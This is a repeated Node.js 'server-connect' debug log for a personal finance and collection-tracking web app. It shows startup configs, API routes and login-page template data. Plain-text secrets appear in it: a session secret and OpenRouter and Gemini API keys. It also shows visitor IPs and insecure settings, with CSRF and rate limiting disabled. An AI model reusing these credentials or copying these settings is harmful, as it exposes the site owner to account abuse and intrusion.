    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T05:42:28.036Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T05:42:28.212Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T05:42:28.289Z server-connect:setup:upload Upload middleware configured.
2026-06-05T05:42:28.290Z server-connect:secure CSRF Protection initialized
2026-06-05T05:42:28.292Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T05:42:28.293Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T05:42:28.294Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T05:42:28.294Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T05:42:28.295Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T05:42:28.295Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T05:42:28.296Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T05:42:28.297Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T05:42:28.297Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T05:42:28.300Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T05:42:28.300Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T05:42:28.300Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T05:42:28.301Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T05:42:28.301Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T05:42:28.301Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T05:42:28.302Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T05:42:28.302Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T05:42:28.302Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T05:42:28.303Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T05:42:28.303Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T05:42:28.303Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T05:42:28.303Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T05:42:28.304Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T05:42:28.304Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T05:42:28.304Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T05:42:28.304Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T05:42:28.304Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T05:42:28.305Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T05:42:28.305Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T05:42:28.305Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T05:42:28.305Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T05:42:28.305Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T05:42:28.306Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T05:42:28.306Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T05:42:28.306Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T05:42:28.306Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T05:42:28.306Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T05:42:28.307Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T05:51:31.289Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T05:51:31.439Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T05:51:31.523Z server-connect:setup:upload Upload middleware configured.
2026-06-05T05:51:31.523Z server-connect:secure CSRF Protection initialized
2026-06-05T05:51:31.526Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T05:51:31.527Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T05:51:31.527Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T05:51:31.527Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T05:51:31.528Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T05:51:31.529Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T05:51:31.530Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T05:51:31.532Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T05:51:31.533Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T05:51:31.533Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T05:51:31.534Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T05:51:31.534Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T05:51:31.534Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T05:51:31.535Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T05:51:31.535Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T05:51:31.535Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T05:51:31.535Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T05:51:31.536Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T05:51:31.536Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T05:51:31.536Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T05:51:31.537Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T05:51:31.537Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T05:51:31.537Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T05:51:31.537Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T05:51:31.538Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T05:51:31.538Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T05:51:31.538Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T05:51:31.538Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T05:51:31.539Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T05:51:31.539Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T05:51:31.539Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T05:51:31.539Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T05:51:31.539Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T05:51:31.540Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T05:51:31.540Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T05:51:31.540Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T05:51:31.540Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T05:51:31.540Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T06:15:35.705Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T06:15:35.855Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T06:15:35.947Z server-connect:setup:upload Upload middleware configured.
2026-06-05T06:15:35.948Z server-connect:secure CSRF Protection initialized
2026-06-05T06:15:35.950Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T06:15:35.951Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T06:15:35.952Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T06:15:35.952Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T06:15:35.953Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T06:15:35.954Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T06:15:35.979Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T06:15:35.979Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T06:15:35.980Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T06:15:35.980Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T06:15:35.980Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T06:15:35.981Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T06:15:35.981Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T06:15:35.981Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T06:15:35.981Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T06:15:35.982Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T06:15:35.982Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T06:15:35.982Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T06:15:35.983Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T06:15:35.983Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T06:15:35.983Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T06:15:35.984Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T06:15:35.984Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T06:15:35.984Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T06:15:35.984Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T06:15:35.985Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T06:15:35.985Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T06:15:35.985Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T06:15:35.985Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T06:15:35.985Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T06:15:35.986Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T06:15:35.986Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T06:15:35.986Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T06:15:35.986Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T06:15:35.986Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T06:15:35.987Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T06:15:35.987Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T06:15:35.987Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T06:15:36.077Z server-connect:router Serving templateView /
2026-06-05T06:15:36.082Z server-connect:app Executing action step identify
2026-06-05T06:15:36.082Z server-connect:app options: { provider: 'security' }
2026-06-05T06:15:36.083Z server-connect:auth No login cookie found
2026-06-05T06:15:36.083Z server-connect:output identity: false
2026-06-05T06:15:36.084Z server-connect:app Executing action step restrict
2026-06-05T06:15:36.084Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T06:15:36.087Z server-connect:output restrict: undefined
2026-06-05T06:15:36.590Z server-connect:router Serving templateView /login
2026-06-05T06:15:36.590Z server-connect:app Executing action step identify
2026-06-05T06:15:36.590Z server-connect:app options: { provider: 'security' }
2026-06-05T06:15:36.590Z server-connect:auth No login cookie found
2026-06-05T06:15:36.591Z server-connect:output identity: false
2026-06-05T06:15:36.591Z server-connect:router Render template layouts/authentication
2026-06-05T06:15:36.591Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '157.173.126.70',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T06:15:36.588Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.173.126.70',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '157.173.126.70',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T06:27:52.209Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T06:27:52.382Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T06:27:52.454Z server-connect:setup:upload Upload middleware configured.
2026-06-05T06:27:52.454Z server-connect:secure CSRF Protection initialized
2026-06-05T06:27:52.456Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T06:27:52.458Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T06:27:52.458Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T06:27:52.459Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T06:27:52.459Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T06:27:52.460Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T06:27:52.461Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T06:27:52.461Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T06:27:52.462Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T06:27:52.462Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T06:27:52.463Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T06:27:52.463Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T06:27:52.463Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T06:27:52.476Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T06:27:52.477Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T06:27:52.480Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T06:27:52.480Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T06:27:52.481Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T06:27:52.481Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T06:27:52.481Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T06:27:52.482Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T06:27:52.482Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T06:27:52.482Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T06:27:52.482Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T06:27:52.483Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T06:27:52.483Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T06:27:52.483Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T06:27:52.483Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T06:27:52.484Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T06:27:52.484Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T06:27:52.484Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T06:27:52.484Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T06:27:52.484Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T06:27:52.485Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T06:27:52.485Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T06:27:52.485Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T06:27:52.485Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T06:27:52.485Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T06:27:52.580Z server-connect:router Serving templateView /
2026-06-05T06:27:52.584Z server-connect:app Executing action step identify
2026-06-05T06:27:52.585Z server-connect:app options: { provider: 'security' }
2026-06-05T06:27:52.586Z server-connect:auth No login cookie found
2026-06-05T06:27:52.586Z server-connect:output identity: false
2026-06-05T06:27:52.586Z server-connect:app Executing action step restrict
2026-06-05T06:27:52.587Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T06:27:52.590Z server-connect:output restrict: undefined
2026-06-05T06:27:53.481Z server-connect:router Serving templateView /login
2026-06-05T06:27:53.481Z server-connect:app Executing action step identify
2026-06-05T06:27:53.482Z server-connect:app options: { provider: 'security' }
2026-06-05T06:27:53.482Z server-connect:auth No login cookie found
2026-06-05T06:27:53.482Z server-connect:output identity: false
2026-06-05T06:27:53.482Z server-connect:router Render template layouts/authentication
2026-06-05T06:27:53.483Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '95.111.226.216',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T06:27:53.479Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '95.111.226.216',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '95.111.226.216',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T07:32:43.856Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T07:32:44.030Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T07:32:44.109Z server-connect:setup:upload Upload middleware configured.
2026-06-05T07:32:44.110Z server-connect:secure CSRF Protection initialized
2026-06-05T07:32:44.112Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T07:32:44.114Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T07:32:44.114Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T07:32:44.115Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T07:32:44.115Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T07:32:44.116Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T07:32:44.117Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T07:32:44.117Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T07:32:44.120Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T07:32:44.121Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T07:32:44.121Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T07:32:44.121Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T07:32:44.122Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T07:32:44.122Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T07:32:44.122Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
